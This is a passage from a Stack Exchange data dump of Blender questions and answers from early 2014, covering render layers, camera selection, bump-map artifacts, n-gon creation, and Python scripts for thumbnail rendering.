src=&quot;https://i.stack.imgur.com/b2S1p.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user2087" LastActivityDate="2014-01-31T00:01:49.710" Title="Why do i get a strange black shadow when i smooth my mesh?" Tags="&lt;modeling&gt;&lt;shaders&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2014-01-31T00:02:02.697" ContentLicense="CC BY-SA 3.0" />
  <row Id="6646" PostTypeId="2" ParentId="6644" CreationDate="2014-01-30T20:31:53.630" Score="6" Body="&lt;h1&gt;Cycles:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Set the renderlayer with the reflective object to &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Passes#Layers&quot; rel=&quot;nofollow noreferrer&quot;&gt;Exclude&lt;/a&gt;&lt;/em&gt; layer one:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Lsusq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now objects on layer &lt;code&gt;1&lt;/code&gt; will not have any affect on layer &lt;code&gt;2&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/26575&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Example .blend&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Blender Internal:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;In BI this is more complicated, because it appears to be impossible to separate reflections into separate layers with BI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, you can either reflect every object in the scene, or reflect nothing (no selective reflecting). You might be able to do something with the &lt;em&gt;Material Index&lt;/em&gt; pass, but with even a simple scene it becomes complex quickly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a workaround, you can use multiple &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Interface/Scenes&quot; rel=&quot;nofollow noreferrer&quot;&gt;Scenes&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a new scene in the &lt;em&gt;Info panel&lt;/em&gt; by pressing the &lt;code&gt;+&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rzD8M.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select one of the options. You probably want &lt;em&gt;Link Objects&lt;/em&gt;, but check &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Interface/Scenes#Adding_a_new_Scene&quot; rel=&quot;nofollow noreferrer&quot;&gt;the wiki for an explanation of each option&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the new scene, setup a renderlayer that only renders objects on layer 1.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Back in the first scene, setup a renderlayer which has only the reflective object. Put objects you do want to reflect &lt;strong&gt;on a different layer&lt;/strong&gt;, but in the same scene.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Mix the two scenes with an &lt;em&gt;Alpha over&lt;/em&gt; node:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZtfoO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/26577&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Example .blend&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-01-31T02:09:17.453" LastActivityDate="2014-01-31T02:09:17.453" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="6647" PostTypeId="1" AcceptedAnswerId="6648" CreationDate="2014-01-30T22:44:51.623" Score="6" ViewCount="5952" Body="&lt;p&gt;I have 2 cameras in my scene, and want to use one for rendering an animation. Despite defining it as the active camera and playing with the &quot;lock&quot; camera to view button, my render is still made from the first camera, with different render settings than the ones I have set?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts one where the problem might come from?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3HlLv.jpg&quot; alt=&quot;tried to make it clear&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the .blend file if anyone is willing to give it a look : &lt;a href=&quot;http://www.pasteall.org/blend/26579&quot; rel=&quot;noreferrer&quot;&gt;http://www.pasteall.org/blend/26579&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2304" LastActivityDate="2014-01-31T00:00:24.593" Title="How to change the camera used for render?" Tags="&lt;rendering&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6648" PostTypeId="2" ParentId="6647" CreationDate="2014-01-31T00:00:24.593" Score="5" Body="&lt;p&gt;This is because you have an image strip in the &lt;em&gt;Video Sequence Editor&lt;/em&gt;, so pressing &lt;kbd&gt;F12&lt;/kbd&gt; renders from the strip rather than from the scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remove the image strip or disable &lt;em&gt;Sequencer&lt;/em&gt; in &lt;em&gt;Properties &gt; Render settings &gt; Post Processing&lt;/em&gt; to render from the scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KGt9E.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-01-31T00:00:24.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6650" PostTypeId="1" CreationDate="2014-01-31T00:29:11.280" Score="0" ViewCount="1300" Body="&lt;p&gt;I wanted to plug a bump map into the normal inputs of a &lt;em&gt;Diffuse&lt;/em&gt; and a &lt;em&gt;Glossy&lt;/em&gt; shader. But if that is done, for some unknown reason it renders only on part of the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A line across the image will appear. On the left side of the image below it looks fine, but on the right side it isn't. It looks as if it has rendered image without the Bump map plugged into the Normal input of the &lt;em&gt;Glossy&lt;/em&gt; shader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Rendered preview:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6ezMD.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Bump node group:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xluDL.jpg&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used spec map as factor of Mix shader:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Nodes&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EAeXv.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I discovered that the problem is caused by Bump map plugged into Normal input of &lt;em&gt;Glossy shader.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that the artifact is caused by the last &quot;Add&quot; node in the Bump map group connection which is combining all free bumps together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if the Blend type is changed to e.g. &quot;multiply&quot;, the line across the image (the artifact) will disappear. However, the resulting image is much to dark. Which is obvious (wrong blend type).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So why does the blend type &quot;Add&quot; on the last node of Bump group cause this issue?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bump maps are classic *.png images with greyish background  color (#b3b3b3), content in a image has dark color (#0a0a0a)&lt;br&gt;&#xA;I'm using Blender v2.69.&lt;/p&gt;&#xA;" OwnerUserId="2305" LastEditorUserId="599" LastEditDate="2014-12-16T19:10:26.627" LastActivityDate="2014-12-16T19:10:26.627" Title="Bump map connected to Glossy shader Normal input causes line artifact in render" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;shaders&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6651" PostTypeId="1" CreationDate="2014-01-31T01:05:26.330" Score="0" ViewCount="5368" Body="&lt;p&gt;This is my mesh in Blender:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mXbWM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this my mesh when placed in UDK:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Lhk31.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see it doesn't have the human head/chest part, parts of the hood are invisible, and it has some white lines. Why?&lt;/p&gt;&#xA;" OwnerDisplayName="user2087" LastEditorUserId="599" LastEditDate="2014-01-31T08:06:34.567" LastActivityDate="2018-02-10T22:47:47.483" Title="Mesh has invisible parts after exporting" Tags="&lt;mesh&gt;&lt;export&gt;" AnswerCount="1" CommentCount="10" ClosedDate="2014-02-01T01:58:32.703" ContentLicense="CC BY-SA 3.0" />
  <row Id="6652" PostTypeId="1" AcceptedAnswerId="6706" CreationDate="2014-01-31T04:40:33.853" Score="7" ViewCount="9327" Body="&lt;p&gt;I have an armature set up, but the bones aren't moving the mesh properly&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mesh and armature:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KfcnJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The vertex group of the bone I am going to move:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VXSnd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, the circled region doesn't belong to the vertex group.&#xA;But, when I move the bone look what happens:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yrs8F.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That part of the mesh has moved with the bone.. Why?&lt;/p&gt;&#xA;" OwnerDisplayName="user2087" LastEditorUserId="599" LastEditDate="2014-01-31T07:40:06.100" LastActivityDate="2017-01-30T18:01:04.707" Title="Bones moving wrong part of mesh?" Tags="&lt;mesh&gt;&lt;armature&gt;&lt;bones&gt;&lt;vertex-groups&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6653" PostTypeId="1" CreationDate="2014-01-31T06:08:50.833" Score="2" ViewCount="8332" Body="&lt;p&gt;Is there anyway to create n-sided polygons in Blender without having to set the user preferences to 'enter edit mode' when adding a mesh. I'm asking this because there are times when I want add a cylinder mesh with n-gons on the top or to initialize a mesh previous to adding it to a scene.&lt;/p&gt;&#xA;" OwnerUserId="2084" LastActivityDate="2014-01-31T07:12:58.973" Title="Making n-sided polygons in Blender 2.69" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6654" PostTypeId="1" AcceptedAnswerId="6698" CreationDate="2014-01-31T06:49:01.730" Score="5" ViewCount="2053" Body="&lt;p&gt;I'd like to set up a command line script that renders out each frame to the desired output image type (EXR, PNG, TGA, etc.) at full resolution, but then also generates and saves a small thumbnail JPG image at a specified width (say 400px for example). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to generate this thumbnail from the command line or with a script instead of using the file output node in the compositor. Makes it easier to replicate for multiple render jobs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note1:&lt;/strong&gt; I do not want to render twice. I want to render once and then scale and save out a second smaller file. I don't want to do this from inside the blender file directly, but with an external script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note2:&lt;/strong&gt; I would be open to a second blender instance that renders by only using the compositor to input the large image rendered in the first instance with the new output resolution. That way it's only processing flat images and not doing any scene rendering.&lt;/p&gt;&#xA;" OwnerUserId="894" LastEditorUserId="12" LastEditDate="2014-02-17T00:30:19.047" LastActivityDate="2014-02-17T00:30:19.047" Title="Generate thumbnail image in addition to main image? (command line render)" Tags="&lt;command-line&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6655" PostTypeId="2" ParentId="6653" CreationDate="2014-01-31T07:12:58.973" Score="5" Body="&lt;p&gt;&lt;strong&gt;Yes&lt;/strong&gt; This is possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a cylinder:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&gt; Add mesh &gt; Cylinder&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;F6&lt;/kbd&gt; and set the &lt;em&gt;Cap Fill Type&lt;/em&gt; to &lt;em&gt;Ngon&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you are looking to do this from python:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.mesh.primitive_cylinder_add(radius=1, depth=2, end_fill_type='NGON', view_align=False, enter_editmode=False, location=(-2.06615, -0.413393, 3.45981), layers=(True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or have a look at the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/bmesh.html&quot; rel=&quot;noreferrer&quot;&gt;bmesh api&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For doing this in the interface, usually one uses &lt;em&gt;Edit mode&lt;/em&gt; (perhaps you could elaborate on why this doesn't work for you?). To create an ngon in edit mode, select the faces you wish to convert to a single face and press &lt;kbd&gt;F&lt;/kbd&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-01-31T07:12:58.973" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6656" PostTypeId="2" ParentId="6654" CreationDate="2014-01-31T07:20:36.910" Score="2" Body="&lt;p&gt;You could write a simple python script, and then call it from the command line. See &lt;a href=&quot;https://blender.stackexchange.com/a/3062/599&quot;&gt;this related post&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Another way is to use &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_release/&quot; rel=&quot;nofollow noreferrer&quot;&gt;blender's python API&lt;/a&gt;, and run a python&#xA;  script in blender from the command line (&lt;a href=&quot;https://blender.stackexchange.com/questions/1365/how-can-i-run-blender-from-command-line-or-a-python-script-without-opening-a-gui&quot;&gt;see this post&lt;/a&gt;), e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blender --background /path/to/file.blend --python /path/to/script.py --render-anim or  &#xA;&#xA;blender -b /path/to/file.blend -P /path/to/script.py -a&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;The render resolution can be set with&#xA;  &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_release/bpy.types.RenderSettings.html#bpy.types.RenderSettings.resolution_x&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;bpy.context.scene.render.resolution_x&lt;/code&gt;&lt;/a&gt; and&#xA;  &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_release/bpy.types.RenderSettings.html#bpy.types.RenderSettings.resolution_y&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;bpy.context.scene.render.resolution_y&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There are several ways you could go about creating a second thumbnail image (&lt;a href=&quot;https://blender.stackexchange.com/q/3237/599&quot;&gt;related post&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Render twice using a python script, at different resolutions.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create some compositing nodes from python to scale the image in the compositor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;#define thumbnail dimensions and name:&#xA;thumb_x = 400&#xA;thumb_y = 400&#xA;thumb_name = &quot;thumbnail&quot;&#xA;&#xA;# function to find nodes connected to a node&#xA;def followLinks(node_in):&#xA;    for n_inputs in node_in.inputs:&#xA;        for node_links in n_inputs.links:&#xA;            print(&quot;going to &quot; + node_links.from_node.name)&#xA;            return node_links.from_node&#xA;&#xA;scene = bpy.context.scene&#xA;scene.use_nodes = True # make sure composite nodes are enabled&#xA;for node in scene.node_tree.nodes:&#xA;    if node.type == 'COMPOSITE':&#xA;        last_node = followLinks(node)&#xA;        tree = bpy.context.scene.node_tree&#xA;&#xA;        scale_node = tree.nodes.new(type=&quot;CompositorNodeScale&quot;)&#xA;        scale_node.space = 'ABSOLUTE'&#xA;        scale_node.location.x = 200&#xA;        scale_node.inputs[&quot;X&quot;].default_value = thumb_x&#xA;        scale_node.inputs[&quot;Y&quot;].default_value = thumb_y&#xA;&#xA;        tree.links.new(last_node.outputs[0], scale_node.inputs[0])&#xA;&#xA;&#xA;        node = tree.nodes.new(type=&quot;CompositorNodeOutputFile&quot;)&#xA;        node.format.file_format = 'JPEG'&#xA;        node.location.x = 400&#xA;        node.file_slots[0].path = thumb_name&#xA;&#xA;        tree.links.new(scale_node.outputs[0], node.inputs[0])&#xA;&#xA;&#xA;bpy.ops.render.render(animation=True) # render animation&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Will create an absolute scale node and connect whichever node is connected to the &lt;em&gt;Composite&lt;/em&gt; node to it. It will also create a &lt;em&gt;File Output&lt;/em&gt; node:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sSnXT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Scale using an external command line image processing program such as &lt;a href=&quot;http://www.imagemagick.org/script/index.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;ImageMagick&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Scale using a python image manipulation library (see &lt;a href=&quot;https://blender.stackexchange.com/q/3333/599&quot;&gt;this post&lt;/a&gt;).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2014-02-01T00:28:48.800" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="6657" PostTypeId="2" ParentId="6651" CreationDate="2014-01-31T07:44:22.343" Score="2" Body="&lt;p&gt;It looks like:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The human mesh's normals are flipped. You can correct that by selecting all of it in edit mode (&lt;kbd&gt;A&lt;/kbd&gt;) and then pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;N&lt;/kbd&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The hood/robe mesh has no thickness, so parts of it will disappear due to &lt;a href=&quot;http://en.wikipedia.org/wiki/Back-face_culling&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;backface culling&lt;/em&gt;&lt;/a&gt;. You can fix this by adding some thickness with the &lt;a href=&quot;https://docs.blender.org/manual/en/dev/modeling/modifiers/generate/solidify.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Solidify modifier&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2018-02-10T22:47:47.483" LastActivityDate="2018-02-10T22:47:47.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6658" PostTypeId="1" CreationDate="2014-01-31T09:20:39.967" Score="3" ViewCount="1477" Body="&lt;p&gt;How can I find out if the mouse is over any object in the 3D View area with Python?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KH12h.png&quot; alt=&quot;Cube in 3D View with Translate Manipulator and 3D Cursor&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1501" LastEditorUserId="599" LastEditDate="2014-01-31T20:17:13.357" LastActivityDate="2014-01-31T20:17:13.357" Title="Test if the mouse is over any object in the 3D View with python?" Tags="&lt;python&gt;&lt;3d-view&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6659" PostTypeId="1" CreationDate="2014-01-31T10:22:18.447" Score="15" ViewCount="8333" Body="&lt;p&gt;I was wondering if there is a script or addon that allows me to make timelapse videos of my blender projects? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, is it possible to add a camera to the scene which takes a quick image of the scene from that point of view every couple of seconds or moves?&lt;/p&gt;&#xA;" OwnerUserId="1941" LastEditorUserId="12" LastEditDate="2014-05-17T16:35:11.637" LastActivityDate="2021-03-10T01:36:10.980" Title="Can Blender make a timelapse video?" Tags="&lt;video&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6660" PostTypeId="1" AcceptedAnswerId="6665" CreationDate="2014-01-31T10:24:13.537" Score="3" ViewCount="1944" Body="&lt;p&gt;Painting the Bump map does not work in Texture Painting mode. I can see the normals I painted just after rendering, but not in 3D view. For my bump map texture I enabled Geometry Normal and disabled Diffuse Color, but still no bumps in preview. Does anyone got an idea how I can got bumps in 3D preview?&lt;img src=&quot;https://i.stack.imgur.com/aFdxx.png&quot; alt=&quot;Blender 2.69&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2014-01-31T15:00:21.773" Title="Bump map painting does not work" Tags="&lt;normals&gt;&lt;texture-painting&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6662" PostTypeId="2" ParentId="6659" CreationDate="2014-01-31T12:53:50.233" Score="8" Body="&lt;p&gt;You can set &lt;strong&gt;Frame Step&lt;/strong&gt; to skip frames by every certain number.&#xA;e.g.: If you want a 2x timelapse, then set the number to &lt;code&gt;2&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/p1gQT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also make it by tweaking the &lt;strong&gt;Time Remapping&lt;/strong&gt; option, as shown in the same image. For example, &lt;strong&gt;Old&lt;/strong&gt;=&lt;code&gt;100&lt;/code&gt; and &lt;strong&gt;New&lt;/strong&gt;=&lt;code&gt;50&lt;/code&gt; for a 2x timelapse, However, you should also set the new End Frame by half, in order to offset the total number of render frames, because it will be doubled actually if you don't do it in such case, so this is not so recommended, personally speaking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, you can also have the Frame rate doubled, but that's obviously not a nice way either.&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-01-31T15:16:48.087" LastActivityDate="2014-01-31T15:16:48.087" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6663" PostTypeId="2" ParentId="6658" CreationDate="2014-01-31T13:03:31.943" Score="3" Body="&lt;p&gt;There's no property or function to find it out, there's an example script to find mesh objects under the mouse however. It casts a ray on &lt;kbd&gt;LMB&lt;/kbd&gt; and selects an object if there is one (only mesh objects and duplis).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You find the script in the built-in &lt;em&gt;Text Editor&lt;/em&gt;, in the menu:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Templates &gt; Python &gt; Operator Modal View3D Raycast&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;AFAIK it can't be changed to also hit objects like lamps and cameras, 'cause they don't have actual faces (they are kind of virtual objects only).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you tell more about your ultimate goal, we might find a different approach that doesn't require to know whether there's something under the mouse cursor or not.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-01-31T13:03:31.943" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="6664" PostTypeId="2" ParentId="6654" CreationDate="2014-01-31T13:17:44.223" Score="3" Body="&lt;p&gt;Here is a very basic script, that adds an app handler to receive callbacks whenever a frame has been rendered, and prints the frame number and path to rendered image file to system console:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def render_post_callback(scene):&#xA;    frame = scene.frame_current&#xA;    filepath = scene.render.frame_path()&#xA;    print(&quot;Frame: %i, Filepath: %s&quot; % (frame, filepath))&#xA;&#xA;bpy.app.handlers.render_post.append(render_post_callback)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: It works for the render settings output options, but not for File Output nodes. As of now, there is no equivalent of &lt;code&gt;frame_path()&lt;/code&gt; for File Output nodes.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;It's easy to retrieve the base paths (output folders) from &lt;em&gt;File Output&lt;/em&gt; nodes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;base_paths = [node.base_path for node in bpy.context.scene.node_tree.nodes if node.type == 'OUTPUT_FILE']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could let an external script check these paths and generate thumbnails for all rendered images, unless there is already a thumbnail (should be as easy as to name the thumbnails like the original images in a different folder and do a name check). Should work as long as there aren't any unrelated image files in the rendered images folders.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2014-01-31T17:59:55.063" LastActivityDate="2014-01-31T17:59:55.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6665" PostTypeId="2" ParentId="6660" CreationDate="2014-01-31T15:00:21.773" Score="6" Body="&lt;p&gt;You need to switch the viewport shading to Texture, or press &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt; in 3D View.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are generally five things that you should keep in mind to make sure bump effect can be previewed in the 3D Viewport, as shown below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jCuwl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding that, you just missed the 4th one. :)&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2014-01-31T15:00:21.773" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6666" PostTypeId="1" CreationDate="2014-01-31T16:57:22.370" Score="3" ViewCount="974" Body="&lt;p&gt;I am experimenting with rigid bodies. I created a scene with a wrecking ball crashing through a pile of blocks. I tried rendering it in MPEG, but that makes it into a .dvd file. I want to post the end result on my facebook page, but it won't accept .dvd files. So what file format do I need to use to post online?&lt;/p&gt;&#xA;" OwnerUserId="468" LastActivityDate="2015-03-20T23:23:31.540" Title="What file must I use for a animation render to post online?" Tags="&lt;rendering&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
